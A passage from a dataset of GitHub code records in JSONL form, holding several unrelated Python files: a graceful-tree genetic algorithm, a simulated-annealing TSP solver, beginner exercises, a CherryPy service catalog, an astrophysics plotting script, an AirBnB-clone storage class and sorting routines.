StudioModel.objects.get_or_create(\n **payload.dict(),\n )\n\n instance: StudioModel = query[0]\n anime_info_model.studios.add(instance)\n\n return instance\n","repo_name":"Arc0687/anime.arc","sub_path":"backend/django_core/apps/api/views/anime/anime_studio.py","file_name":"anime_studio.py","file_ext":"py","file_size_in_byte":1136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"27993190197","text":"import random as random\r\nimport time\r\nimport matplotlib.pyplot as plt\r\nimport networkx as nx\r\nfrom networkx.drawing.nx_pydot import graphviz_layout\r\n#import os\r\nimport csv\r\n\r\ndef tree_to_matrix(tree,nodes):\r\n temp = []\r\n for line in nx.generate_adjlist(tree):\r\n #line is a string separated by spaces, turn it into a list\r\n my_list = line.split(\" \")\r\n #first element is just a label, so remove it\r\n my_list.pop(0)\r\n #turn the list from strings to integers\r\n my_list = [int(i) for i in my_list]\r\n \r\n temp.append(my_list)\r\n #fill the matrix with zeroes\r\n matrix = [[0]*(nodes) for i in range(nodes)]\r\n \r\n #the ones indicate a connection\r\n #find where the ones should go\r\n for i in range(0,nodes):\r\n for j in range(0,nodes):\r\n if j in temp[i]:\r\n matrix[i][j] = 1\r\n matrix[j][i] = 1\r\n \r\n return matrix\r\n\r\ndef graph_tree(tree,id,nodes=None,seed=None,time=None,conflicts=0):\r\n plt.figure(id, figsize = (10,10))\r\n #options for making the graph look nicer\r\n pos = graphviz_layout(tree, prog=\"neato\")\r\n #pos = graphviz_layout(tree, prog=\"dot\")\r\n #pos = graphviz_layout(tree, prog=\"twopi\")\r\n \r\n nx.draw(tree,pos,node_size=900)\r\n \r\n #set z = 2 if using even/odds, else set z=1\r\n z = 1\r\n \r\n #set node labels to be strictly positive, and perhaps all odd if setting z=2\r\n node_labels = {}\r\n for u in tree.nodes():\r\n key = u\r\n value = z*(u+1) - 1\r\n node_labels[key] = value\r\n \r\n #set edge labels to be the difference between the nodes it connects\r\n edge_labels = {}\r\n for u,v in tree.edges():\r\n key = (u,v)\r\n value = z*abs(u-v)\r\n edge_labels[key] = value\r\n \r\n font_size = 20\r\n nx.draw_networkx_labels(tree, pos, labels = node_labels, font_size = font_size)\r\n \r\n #the 'normal' way - looks bad\r\n #nx.draw_networkx_edge_labels(tree, pos, edge_labels = edge_labels, font_size = font_size)\r\n #this alternative keeps the edge labels from rotating\r\n text = nx.draw_networkx_edge_labels(tree, pos, edge_labels = edge_labels, font_size = font_size)\r\n for _,t in text.items():\r\n t.set_rotation('horizontal')\r\n \r\n if id == 1:\r\n title = str(\"Problem graph \\n Nodes = {} \\n Seed = {}\".format(nodes,seed))\r\n# file_name = str(\"Problem_graph_{}_{}.png\".format(nodes,seed))\r\n if id == 2:\r\n title = str(\"Local solution with value {} \\n Nodes = {} \\n Seed = {} \\n Time to solve: {} seconds\".format(conflicts,nodes,seed,time))\r\n# file_name = str(\"Solution_graph_{}_{}.png\".format(nodes,seed))\r\n if id == 3:\r\n title = str(\"Global solution \\n Nodes = {} \\n Seed = {} \\n Time to solve: {} seconds\".format(nodes,seed,time))\r\n# file_name = str(\"Solution_graph_{}_{}.png\".format(nodes,seed))\r\n plt.title(title,fontsize = font_size)\r\n# my_path = os.path.dirname(__file__)\r\n plt.gcf().set_facecolor(\"#A9A9A9\")\r\n# plt.savefig(my_path + '\\\\graphs2\\\\' + file_name, bbox_inches='tight')\r\n plt.show()\r\n\r\ndef print_matrix(matrix):\r\n max_len = 1\r\n for i in range(len(matrix)):\r\n for j in range(len(matrix[i])):\r\n this_num = matrix[i][j]\r\n if len(str(this_num)) > max_len:\r\n max_len = len(str(this_num))\r\n \r\n for i in range(len(matrix)):\r\n rowtext = \"\"\r\n for j in range(len(matrix[i])):\r\n this_num = matrix[i][j]\r\n space = max_len - len(str(this_num))\r\n rowtext = rowtext + space*' ' + str(this_num) + \" \"\r\n print(rowtext)\r\n\r\ndef assignWeights(problem_matrix):\r\n #the weight of each tree will be based on the number of close neighbors\r\n #so, pick a node and find the distance to each other node\r\n #add up these distances - if it's a smaller number, that node is more central\r\n \r\n #note that the problem_matrix already notes all the distance 1's\r\n #so use it as a starting point\r\n distances = [row[:] for row in problem_matrix]\r\n \r\n for d in range(2,N):\r\n for i in range(N):\r\n distances[i][i] = -1\r\n for j in range(N):\r\n if distances[i][j] == d-1:\r\n for k in range(N):\r\n if problem_matrix[j][k] == 1 and distances[i][k] == 0:\r\n distances[i][k] = d\r\n \r\n #the rowsums will be the weights for each node\r\n #smaller weighted nodes should be given more extreme node labels\r\n weights = []\r\n for i in range(N):\r\n rowsum = 0\r\n for j in range(N):\r\n if distances[i][j] == -1:\r\n distances[i][j] = 0\r\n rowsum += distances[i][j]\r\n weights.append(rowsum)\r\n \r\n return weights,distances\r\n\r\ndef populate(population_size, number_positions, tree, weights, J):\r\n population = []\r\n for i in range(population_size):\r\n this_list = random.sample(range(N), N)\r\n this_value,these_troublemakers = judge(this_list, tree, weights, J)\r\n population.append((this_list, this_value,these_troublemakers))\r\n return population\r\n \r\ndef judge(this_list, tree, weights, J):\r\n this_matrix = listToMatrix(this_list)\r\n newTree = reorder(this_matrix, tree)\r\n # evaluation = conflicts(newTree) * judgeByWeights(this_list,weights)\r\n evaluation = [f(element * judgeByWeights(this_list,weights)) for element in conflicts(newTree)]\r\n troublemakers = findTrouble(newTree)\r\n return evaluation, troublemakers\r\n \r\ndef listToMatrix(this_list):\r\n this_matrix = []\r\n for i in range(N):\r\n this_row = []\r\n for j in range(N):\r\n if this_list[i] == j:\r\n this_row.append(1)\r\n else:\r\n this_row.append(0)\r\n this_matrix.append(this_row)\r\n return this_matrix\r\n\r\ndef conflicts(tree):\r\n count = -N + 1\r\n for i in range(1,N): #start with the diagonal where C-R = 1\r\n d = 0\r\n for j in range(i,N):\r\n d += tree[j-i][j]\r\n count += d**2\r\n \r\n not_used = [1]*(N-1)\r\n for i in range(1,N): #start with the diagonal where C-R = 1\r\n for j in range(i,N):\r\n if tree[j-i][j] == 1:\r\n not_used[i-1] = 0\r\n\r\n unused_weighted = 0\r\n for i in range(1,N):\r\n unused_weighted += i * not_used[i-1]\r\n \r\n return int(count / 2), sum(not_used), unused_weighted\r\n \r\ndef findTrouble(tree):\r\n #identify where the 1s are\r\n diagonals = []\r\n rows = []\r\n cols = []\r\n for i in range(1,N):\r\n for j in range(i,N):\r\n if tree[j-i][j] == 1:\r\n diagonals.append(i)\r\n rows.append(j-i)\r\n cols.append(j)\r\n \r\n troublemakers = []\r\n #find which diagonals are used more than once\r\n for i in range(N-1):\r\n for j in range(i+1,N-1):\r\n if diagonals[i] == diagonals[j]:\r\n troublemakers.append(rows[i]) #the troublemaker lived in this row\r\n troublemakers.append(rows[j])\r\n #troublemakers.append(cols[i]) #need to track the cols as well because\r\n #troublemakers.append(cols[j]) # only the upper triangle was checked\r\n \r\n return troublemakers\r\n\r\ndef judgeByWeights(this_list,weights):\r\n judgement = 0\r\n for i in range(N):\r\n extremity = abs( this_list[i] - (N-1)/2 )\r\n judgement += extremity * weights[i]\r\n return judgement / (N**2)\r\n\r\ndef reorder(order_matrix, tree):\r\n OM = mmult(order_matrix, tree)\r\n OMO = mmult(OM, T(order_matrix))\r\n return OMO\r\n \r\ndef mmult(a,b):\r\n product = []\r\n for i in range(N):\r\n product.append([])\r\n for j in range(N):\r\n prodsum = 0\r\n for k in range(N):\r\n prodsum += a[i][k] * b[k][j]\r\n product[i].append(prodsum)\r\n return product\r\n\r\ndef T(a):\r\n #transpose\r\n T = [[a[j][i] for j in range(N)] for i in range(N)]\r\n #credit for this solution goes to https://www.geeksforgeeks.org/transpose-matrix-single-line-python/\r\n return T\r\n\r\ndef repopulate(population_size, number_children, tree, weights, population, J):\r\n new_population = []\r\n \r\n for i in range(number_children):\r\n choice = random.randint(0, population_size-1)\r\n kid = population[choice][0].copy()\r\n troublemakers = list(dict.fromkeys(population[choice][2]))\r\n \r\n #first, shuffle the troublemakers\r\n j = 0\r\n while j < len(troublemakers):\r\n trouble = troublemakers[j]\r\n #trouble = kid.index(troublemakers[j])\r\n rando = random.randrange(N)\r\n kid[rando],kid[trouble] = kid[trouble],kid[rando]\r\n j += 1\r\n #then, shuffle some more\r\n shuffles = random.randrange(-1, int(N / (len(troublemakers) + 1)))\r\n while shuffles > 0:\r\n flippers = random.sample(range(N), 2)\r\n rando1 = flippers[0]\r\n rando2 = flippers[1]\r\n kid[rando2],kid[rando1] = kid[rando1],kid[rando2]\r\n shuffles -= 1\r\n \r\n kid_value,kid_troublemakers = judge(kid, tree, weights, J)\r\n new_population.append((kid, kid_value, kid_troublemakers))\r\n return new_population\r\n\r\ndef getBestPop(population, new_population, J):\r\n all_population = population + new_population\r\n best_population = sorted(all_population, key = lambda x: x[1])\r\n return best_population[:len(population)]\r\n\r\ndef matrix_to_AL(matrix, nodes):\r\n adjacency_list = []\r\n for i in range(nodes):\r\n temp = str(i)\r\n for j in range(nodes):\r\n foo = matrix[i][j]\r\n if(j>i and foo == 1):\r\n temp += \" \" + str(j)\r\n adjacency_list.append(temp)\r\n return adjacency_list\r\n\r\ndef f(number):\r\n return int(number*1000)/1000\r\n\r\ndef trendAverage(trends):\r\n trend = []\r\n rows = len(trends[0])\r\n cols = len(trends)\r\n T = [[trends[j][i] for j in range(cols)] for i in range(rows)]\r\n for r in T:\r\n trend.append(sum(r)/len(r))\r\n return trend\r\n\r\ndef custom_tree():\r\n return nx.read_adjlist(\"tree.txt\", nodetype=int)\r\n\r\ndef findSolution(N,S,J):\r\n nodes = N\r\n maxIter = 1000\r\n population_size = 100\r\n number_children = int(population_size / 2)\r\n \r\n seed = S\r\n tree = nx.random_tree(nodes,seed=seed)\r\n graph_tree(tree,1,nodes,seed)\r\n problem_matrix = tree_to_matrix(tree,nodes)\r\n #print_matrix(problem_matrix)\r\n weights, distances = assignWeights(problem_matrix)\r\n #print(weights)\r\n \r\n best1 = [(N**2) * 2 * sum(weights)] * 3 # initialize to a high value\r\n trend = []\r\n \r\n population = populate(population_size, nodes, problem_matrix, weights, J)\r\n \r\n start = time.time()\r\n for i in range(maxIter):\r\n new_population = repopulate(population_size, number_children, problem_matrix, weights, population, J)\r\n population = getBestPop(population, new_population, J)\r\n if population[0][1][J] < best1[J]:\r\n best0 = population[0][0]\r\n best1 = population[0][1]\r\n best2 = population[0][2]\r\n print(\"new best\",best1[J],\"on tick\",i,\"and it's\",best0,\"and the troublemakers are\",best2)\r\n # trend.append(best1[J])\r\n if len(population[0][2]) == 0:\r\n break\r\n if i%50 == 0:\r\n print(\"now on tick\",i)\r\n end = time.time()\r\n \r\n solve_time = f(end - start)\r\n # if len(trend) < maxIter:\r\n # trend += [best1] * (maxIter - len(trend))\r\n \r\n sorted_population = sorted(population, key = lambda x: x[1])\r\n best_solution = sorted_population[0]\r\n best_value = best_solution[1][J]\r\n print(\"Best solution value:\",best_solution[1][J])\r\n if best_value > 0:\r\n print(\"Local Optimal Solution Found!\")\r\n id = 2\r\n else:\r\n print(\"Global Optimal Solution Found!\")\r\n id = 3\r\n solution_matrix = reorder(listToMatrix(best_solution[0]),problem_matrix)\r\n print_matrix(solution_matrix)\r\n AL = matrix_to_AL(solution_matrix, nodes)\r\n solution_tree = nx.parse_adjlist(AL, nodetype=int)\r\n graph_tree(solution_tree,id,nodes,seed,solve_time,int(best_value/2))\r\n \r\n # revert solutions to the same metric\r\n returnable_solution = [f(element / judgeByWeights(best_solution[0],weights)) for element in best_solution[1]]\r\n \r\n return solve_time,id,trend, returnable_solution\r\n\r\nif __name__ == '__main__':\r\n nMin = 10\r\n nMax = 30\r\n nInc = 5\r\n \r\n sMin = 0\r\n sMax = 1\r\n seeds = sMax-sMin\r\n seedList = [0,2,5,7,10,11,13,14,15,16,21,23,26,27,29,30,31,33,36,41,42,43,48,51,57,63,66,69,74,75,77,78,80,83,85,89,91,92,96,98]\r\n \r\n J = judgement_choice = 2 # 0=conflicts , 1=unused , 2=unused_weighted\r\n \r\n times = []\r\n solves = []\r\n Ntrends = []\r\n \r\n conflict_sum = 0\r\n unused = 0\r\n unused_weighted = 0\r\n \r\n # with open('results_centering.csv', mode='w', newline='') as results_file:\r\n # results_writer = csv.writer(results_file, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\r\n # results_writer.writerow([\"Perfect\",\"Time\",\"Nodes\",\"Seed\",\"Evaluator\",\"Conflicts\",\"Unused\",\"Unused_Weighted\"])\r\n \r\n N = nMin\r\n while N <= nMax:\r\n totalTime = 0\r\n perfectSolves = 0\r\n # trends = []\r\n for S in seedList[sMin:sMax]:\r\n solveTime,id,trend, judgements = findSolution(N,S,J)\r\n \r\n totalTime += solveTime\r\n perfectSolves += (id-2)\r\n # trends.append(trend)\r\n \r\n conflict_sum += judgements[0]\r\n unused += judgements[1]\r\n unused_weighted += judgements[2]\r\n \r\n # with open('results_centering.csv', mode='a+', newline='') as results_file:\r\n # results_writer = csv.writer(results_file, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\r\n # results_writer.writerow([id-2,solveTime,N,seedList.index(S),J,judgements[0],judgements[1],judgements[2]])\r\n \r\n average = f(totalTime/seeds)\r\n times.append(average)\r\n solves.append(perfectSolves)\r\n # Ntrend = trendAverage(trends)\r\n # Ntrends.append(Ntrend)\r\n N += nInc\r\n \r\n print()\r\n \r\n N = nMin\r\n i=0\r\n while N <= nMax:\r\n print(\"Centering\")\r\n print(\"Judgement choice:\",J)\r\n print(\"Average time for\",N,\"nodes:\",times[i],\"seconds\")\r\n print(\"\\t Perfect solutions:\",solves[i],\"out of\",seeds)\r\n print(\"\\t Average conflicts remaining:\",f(conflict_sum/seeds))\r\n print(\"\\t Average unused edge labels:\",f(unused/seeds))\r\n print(\"\\t Average unused (weighted):\",f(unused_weighted/seeds))\r\n N += nInc\r\n i += 1","repo_name":"Mike-Arnold/Graceful","sub_path":"graceful_centering.py","file_name":"graceful_centering.py","file_ext":"py","file_size_in_byte":14760,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6941295933","text":"from random import sample\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nclass SA():\n def __init__(self, temperature, solve, inner_maxiter, outer_maxiter, \\\n annealing_func, newsolve_func, cost_func, \\\n annealing_args=None, newsolve_args=None, cost_args=None, \\\n inner_termination_func=lambda x: False, \\\n outer_termination_func=lambda x: False):\n\n self.temperature = temperature\n self.solve = solve\n self.inner_maxiter = inner_maxiter\n self.outer_maxiter = outer_maxiter\n\n self.annealing = annealing_func\n self.newsolve = newsolve_func\n self.cost_func = cost_func\n\n self.annealing_args = annealing_args\n self.cost_args = cost_args\n self.newsolve_args = newsolve_args\n\n self.is_inner_termination = inner_termination_func\n self.is_outer_termination = outer_termination_func\n\n self.history = {\"temperature\": [], \"solve\": [], \"cost\": []}\n\n def simulated_annealing(self):\n self.cost = self.cost_func(self.solve, self.cost_args)\n self.history[\"temperature\"].append(self.temperature)\n self.history[\"solve\"].append(self.solve)\n self.history[\"cost\"].append(self.cost)\n\n for outer in range(self.outer_maxiter):\n for inner in range(self.inner_maxiter):\n newsolve = self.newsolve(self.solve, self.newsolve_args)\n newcost = self.cost_func(newsolve, self.cost_args)\n prob = np.min([1, np.exp(-(newcost-self.cost)/self.temperature)])\n if np.random.random() < prob:\n self.solve = newsolve\n self.cost = newcost\n\n self.history[\"solve\"].append(newsolve)\n self.history[\"cost\"].append(newcost)\n if self.is_inner_termination(self.history):\n break\n \n self.temperature = self.annealing(self.temperature, self.annealing_args)\n self.history[\"temperature\"].append(self.temperature)\n if self.is_outer_termination(self.history):\n break\n\ndef get_newpath(oldpath, args=None):\n newpath = oldpath.copy()\n swap_indexes = sample(range(oldpath.shape[0]), 2)\n newpath[swap_indexes] = newpath[swap_indexes[::-1]]\n return newpath\n\ndef termination(history):\n len_cost = len(history[\"cost\"]) - 5\n if len_cost >= 0:\n return np.std(history[\"cost\"][len_cost:]) < 0.001\n return False\n\ndef myplot(path, coord):\n plt.plot(coord[0, :], coord[1, :], \"ok\")\n for i in range(-1, len(path)-1):\n plt.plot(coord[0, path[[i, i+1]]], coord[1, path[[i, i+1]]], \"-b\")\n x = np.sum(coord[0, path[[i, i+1]]]) / 2\n y = np.sum(coord[1, path[[i, i+1]]]) / 2\n if i == -1: i = 9\n plt.text(x, y, i+1)\n plt.plot(coord[0, path[[-1, 0]]], coord[1, path[[-1, 0]]], \"-b\")\n plt.show()\n\nif __name__ == \"__main__\":\n coordinate = np.array([[0.6683, 0.6195, 0.4, 0.2439, 0.1707, 0.2293, 0.5171, 0.8732, 0.6878, 0.8488], \\\n [0.2536, 0.2634, 0.4439, 0.1463, 0.2293, 0.761, 0.9414, 0.6536, 0.5219, 0.3609]])\n \n cities = coordinate.shape[1]\n index = range(coordinate.shape[1])\n distance = np.zeros((cities, cities))\n for i in range(1, coordinate.shape[1]):\n distance[index[:-i], index[i:]] = np.sqrt(np.sum( \\\n np.power(coordinate[:, :-i]-coordinate[:, i:], 2), axis=0))\n distance[index[i:], index[:-i]] = distance[index[:-i], index[i:]]\n\n sa = SA(1, np.arange(cities), 30, 50, \\\n lambda x, args=None: x*0.95, get_newpath, \\\n lambda x, args=None: np.sum(args[x[0:-1], x[1:]]) + args[x[-1], x[0]], \\\n cost_args = distance, \\\n inner_termination_func=termination, \\\n outer_termination_func=termination)\n\n sa.simulated_annealing()\n\n print(sa.solve, sa.cost)\n myplot(sa.solve, coordinate)\n","repo_name":"Anesck/math_modeling_contest","sub_path":"code/SA.py","file_name":"SA.py","file_ext":"py","file_size_in_byte":3937,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"25052721607","text":"#111: input(): 키보드로 문자를 입력받는 함수\nprint(\"안녕하세요\"*2)\n\n#112\na = int(input(\"숫자를 입력하세요: \"))\nprint(a+10)\n\n#113\na = int(input(\"짝수, 홀수 판별:\"))\nif a%2==0:\n print(\"짝수\")\nelse:\n print(\"홀수\")\n\n#114\na = int(input(\"숫자를 입력하세요: \"))\nif a + 20<225:\n print(a+20)\nelse:\n print(225)\n\n#115\na = int(input(\"숫자를 입력하세요: \"))\nif 0a-20:\n print(0)\nelse:\n print(255)\n\n#116\na = input(\"현재 시간: \")\nif a[3:] == \"00\":\n print(\"현재 정각 입니다\")\nelse:\n print(\"현재 정각이 아닙니다\")\n\n#117\nfruit = [\"사과\",\"포도\",\"홍시\"]\na = input(\"좋아하는 과일: \")\nif a in fruit:\n print(\"정답입니다\")\nelse:\n print(\"오답입니다\")\n\n#118\nwarn_investment_list = [\"Microsoft\",\"Google\",\"Naver\",\"Kakao\",\"SAMSUNG\",\"LG\"]\na= input(\"종목명: \")\nif a in warn_investment_list:\n print(\"투자 경고 종목입니다\")\nelse:\n print(\"투자 경고 종목이 아닙니다\")\n\n#119\nfruit = {\"봄\":\"딸기\",\"여름\":\"토마토\",\"가을\":\"사과\"}\na = input(\"좋아하는 계절: \")\nif a in fruit:\n print(\"정답입니다\")\nelse:\n print(\"오답입니다\")\n\n#120\nfruit = {\"봄\":\"딸기\",\"여름\":\"토마토\",\"가을\":\"사과\"}\na= input(\">>제가 좋아하는 과일은: \")\nif a in fruit.values() :\n print(\"정답입니다.\")\nelse:\n print(\"오답입니다.\")\n","repo_name":"krsthg/python3","sub_path":"문제300/문제 111~120.py","file_name":"문제 111~120.py","file_ext":"py","file_size_in_byte":1410,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42599338813","text":"\"\"\"\nhttps://www.hackerrank.com/challenges/flipping-bits/problem?h_l=interview&playlist_slugs%5B%5D=interview-preparation-kit&playlist_slugs%5B%5D=miscellaneous\n\"\"\"\n#!/bin/python3\n\nimport os\n\ndef flippingBits(n):\n rep_32_bit = 0xffffffff\n return n & rep_32_bit ^ rep_32_bit\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n q = int(input())\n for q_itr in range(q):\n n = int(input())\n result = flippingBits(n)\n fptr.write(str(result) + '\\n')\n fptr.close()\n","repo_name":"google-gazzza/algorithm","sub_path":"hackerank/easy/flipping_bits/dosun.py","file_name":"dosun.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"48"} +{"seq_id":"27143693721","text":"import json\nimport cherrypy\nimport sys\nfrom core import dbconnector_sc as sc\nfrom core import iotDevice as sd\n\n\n@cherrypy.expose\nclass scWebservice(object):\n '''\n Service Catalog MicroService class\n '''\n def __init__(self):\n self.sc = sc.serviceCatalog()\n\n def GET(self, *uri, **params):\n '''\n - device//\n - device/\n - services/all || \n '''\n res = None\n try:\n if uri[0] == 'device' and len(uri) == 3:\n # Find device by type and id\n device_type = str(uri[1])\n device_id = str(uri[2])\n res = self.sc.get_device(device_type, device_id)\n elif uri[0] == 'device' and len(uri) == 2:\n # Find all devices by type\n device_type = str(uri[2])\n res = self.sc.get_devices(device_type)\n elif uri[0] == 'services' and len(uri) == 2:\n if uri[1] == 'all':\n res = self.sc.get_services()\n else:\n s_type = uri[1]\n res = self.sc.get_setting(s_type)\n\n except Exception as e:\n res = str(e)\n print(res)\n if res:\n return res\n else:\n return self._responsJson('Bad Request', False)\n\n def PUT(self, *uri, **params):\n '''\n /device/\n accept Device object in JSON format\n '''\n res = None\n try:\n if uri[0] == 'device' and len(uri) == 2:\n device_type = str(uri[1])\n try:\n tempJson = json.loads(cherrypy.request.body.read())\n tempDevice = sd.iotDevice()\n tempDevice.fromJson(tempJson)\n res = self.sc.add_device(device_type, tempDevice, True)\n except Exception as e:\n res = self.sc._responsJson('Cannot add device:' +str(e), False)\n except Exception as e:\n res = None\n if res:\n return res\n else:\n return self._responsJson('Bad Request', False)\n\n def POST(self, *uri, **params):\n '''\n HTTP POST REQUEST\n device/\n accept Device object in JSON format\n '''\n res = None\n try:\n if uri[0] == 'device' and len(uri) == 2:\n device_type = str(uri[1])\n try:\n tempJson = json.loads(cherrypy.request.body.read())\n tempDevice = sd.iotDevice()\n tempDevice.fromJson(tempJson)\n res = self.sc.add_device(device_type, tempDevice, False)\n except Exception as e:\n res = self.sc._responsJson('Cannot update device: '+str(e), False)\n except Exception as e:\n res = None\n if res:\n return res\n else:\n return self._responsJson('Bad Request', False)\n\n def _responsJson(self, result, success):\n ''' function to handle the format of response messages '''\n tempJson = {'result': result, 'success': success}\n return json.dumps(tempJson)\n\n\nif __name__ == '__main__':\n conf = {\n '/': {\n 'request.dispatch': cherrypy.dispatch.MethodDispatcher(),\n 'tools.sessions.on': True\n }\n }\n cherrypy.tree.mount(scWebservice(), '/catalog', conf)\n cherrypy.server.socket_host = \"0.0.0.0\"\n cherrypy.server.socket_port = 8181\n cherrypy.engine.start()\n cherrypy.engine.block()\n","repo_name":"engissa/iot_backend","sub_path":"main_sc.py","file_name":"main_sc.py","file_ext":"py","file_size_in_byte":3612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1602184075","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Dec 6 18:38:23 2023\n\n@author: konstantinos\n\"\"\"\n\nimport sys\nsys.path.append('/Users/paolamartire/tde_comparison')\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport colorcet\nplt.rcParams['text.usetex'] = True\nplt.rcParams['figure.dpi'] = 300\nplt.rcParams['font.family'] = 'Times New Roman'\nplt.rcParams['figure.figsize'] = [10, 8]\nplt.rcParams['axes.facecolor']= \t'whitesmoke'\nm = 4\nMbh = 10**m \nRt = Mbh**(1/3) # Msol = 1, Rsol = 1\napocenter = 2 * Rt * Mbh**(1/3) # There is m_* hereeee\n\n#%%\nkind = 'early' # early mid late\n\ndef stacker(check, fixes):\n # Pathing BS\n if check == 'fid':\n path = 'data/den4-' + check\n if check == 'S60ComptonHires':\n path = 'data/den4-' + 'chr'\n \n for i in range(0, len(fixes)):\n # First\n if i == 0:\n den = np.loadtxt(path + '/denproj4-' + check + str(fixes[i]) + '.txt')\n continue\n den_new = np.loadtxt(path + '/denproj4-' + check + str(fixes[i]) + '.txt')\n\n # Stack\n den = np.add(den, den_new)\n # Mean\n inv_total_fixes = 1/len(fixes)\n den = np.multiply(den, inv_total_fixes)\n \n return den\ndef ypsilon_plot(den4, den4C, color = True):\n ypsilon = np.divide(den4, den4C)\n ypsilon = np.log10(ypsilon) # We want a log plot\n\n # Fix the fuckery\n ypsilon = np.nan_to_num(ypsilon, neginf=0)\n \n # Color re-normalization\n if color:\n ypsilon[ypsilon<0.1] = 0\n ypsilon[ypsilon>8] = 8\n \n # Transpose to look like we're used to\n ypsilon = ypsilon.T\n \n # Plot\n fig, ax = plt.subplots(1,1, tight_layout = True)\n \n # Images\n img = ax.pcolormesh( xs/apocenter, ys/apocenter , ypsilon, cmap='cet_coolwarm',\n vmin = -2, vmax = 2)\n contours = ax.contour( xs/apocenter, ys/apocenter, ypsilon, levels = 6, \n colors = 'k',\n vmin = -2, vmax = 2)\n ax.clabel(contours, inline=True, fontsize=15)\n fig.colorbar(img)\n\n plt.xlabel('X [x/R$_a$]', fontsize = 20)\n plt.ylabel('Y [y/R$_a$]', fontsize = 20)\n plt.xticks(fontsize = 15)\n plt.yticks(fontsize = 15)\n \n if kind == 'early':\n txt = '0.78 - 0.87 t/t$_{FB}$'\n if kind == 'mid':\n txt = '0.95 - 1.05 t/t$_{FB}$'\n if kind == 'late':\n txt = '1.31 - 1.41 t/t$_{FB}$'\n \n plt.title(r' $\\log (\\rho / \\tilde{\\rho}) $ XY' + ' for ComptonHires : ' + txt ,\n fontsize = 25)\n\npre = 'data/den4-fid'\nxs = np.loadtxt(pre + '/xarray4-fid.txt') \nys = np.loadtxt(pre + '/xarray4-fid.txt') \nif kind == 'late':\n fixes4 = np.arange(265, 276)\n fixes4CHR = np.arange(268, 278)\n den4 = stacker('fid', fixes4)\n den4CHR = stacker('S60ComptonHires', fixes4CHR)\n ypsilon_plot(den4, den4CHR)\nif kind == 'mid':\n fixes4 = np.arange(226, 237)\n fixes4CHR = np.arange(230, 240)\n den4 = stacker('fid', fixes4)\n den4CHR = stacker('S60ComptonHires', fixes4CHR)\n ypsilon_plot(den4, den4CHR)\nif kind == 'early':\n fixes4 = np.arange(208, 218)\n fixes4CHR = np.arange(210, 220)\n den4 = stacker('fid', fixes4)\n den4CHR = stacker('S60ComptonHires', fixes4CHR)\n ypsilon_plot(den4, den4CHR)\n\n","repo_name":"KKilmetis8/tde_comparison","sub_path":"src/Projectors/ypsilon.py","file_name":"ypsilon.py","file_ext":"py","file_size_in_byte":3236,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"5649434184","text":"#!/usr/bin/python3\n\"\"\"\nModule containe file storage class\n\"\"\"\nimport json\nfrom models.base_model import BaseModel\nfrom models.user import User\nfrom models.city import City\nfrom models.place import Place\nfrom models.amenity import Amenity\nfrom models.review import Review\nfrom models.state import State\n\n\nclass FileStorage:\n \"\"\"\n class FileStorage that serializes instances to a\n JSON file and deserializes JSON file to instances:\n \"\"\"\n __file_path = \"file.json\"\n __objects = {}\n\n def all(self):\n \"\"\"\n func that returns the dictionary objects\n \"\"\"\n return self.__objects\n\n def new(self, obj):\n \"\"\"\n function sets in __objects the obj with key .id\n\n Args:\n obj: class instance to be set in __objects\n \"\"\"\n class_name = obj.__class__.__name__\n self.__objects[\"{}.{}\".format(class_name, obj.id)] = obj\n\n def save(self):\n \"\"\"\n serializes __objects to the JSON file (path: __file_path)\n \"\"\"\n obj_dict_tosave = {}\n for key, value in self.__objects.items():\n obj_dict_tosave[key] = value.to_dict()\n with open(self.__file_path, \"w\", encoding=\"utf-8\") as f:\n json.dump(obj_dict_tosave, f)\n\n def reload(self):\n \"\"\"\n deserializes the JSON file to __objects\n \"\"\"\n try:\n with open(self.__file_path, \"r\", encoding=\"utf-8\") as f:\n temp = json.load(f)\n\n for key, value in temp.items():\n class_name = key.split(\".\")[0]\n obj_reload = eval(class_name)(**value)\n self.new(obj_reload)\n except FileNotFoundError:\n pass\n","repo_name":"niialabi/AirBnB_clone","sub_path":"models/engine/file_storage.py","file_name":"file_storage.py","file_ext":"py","file_size_in_byte":1716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8520578788","text":"from Array import Array\nimport numpy as np\n\ndef selectionSort(alist):\n for fillslot in range(len(alist)-1,0,-1):\n positionOfMax=0\n for location in range(1,fillslot+1):\n if alist[location]>alist[positionOfMax]:\n positionOfMax = location\n\n temp = alist[fillslot]\n alist[fillslot] = alist[positionOfMax]\n alist[positionOfMax] = temp\n\ndef bubblesort(list):\n\n# Swap the elements to arrange in order\n for iter_num in range(len(list)-1,0,-1):\n for idx in range(iter_num):\n if list[idx]>list[idx+1]:\n temp = list[idx]\n list[idx] = list[idx+1]\n list[idx+1] = temp\n\ndef quickSort(alist):\n quickSortHelper(alist,0,len(alist)-1)\n\ndef quickSortHelper(alist,first,last):\n if first= pivotvalue and rightmark >= leftmark:\n rightmark = rightmark -1\n\n if rightmark < leftmark:\n done = True\n else:\n temp = alist[leftmark]\n alist[leftmark] = alist[rightmark]\n alist[rightmark] = temp\n\n temp = alist[first]\n alist[first] = alist[rightmark]\n alist[rightmark] = temp\n\n\n return rightmark\n\nif(__name__ == \"__main__\"):\n test = Array(np.random.rand(9))\n selectionSort(test)\n test.show()\n\n test = Array(np.random.rand(9))\n bubblesort(test)\n test.show()\n\n test = Array(np.random.rand(9))\n quickSort(test)\n 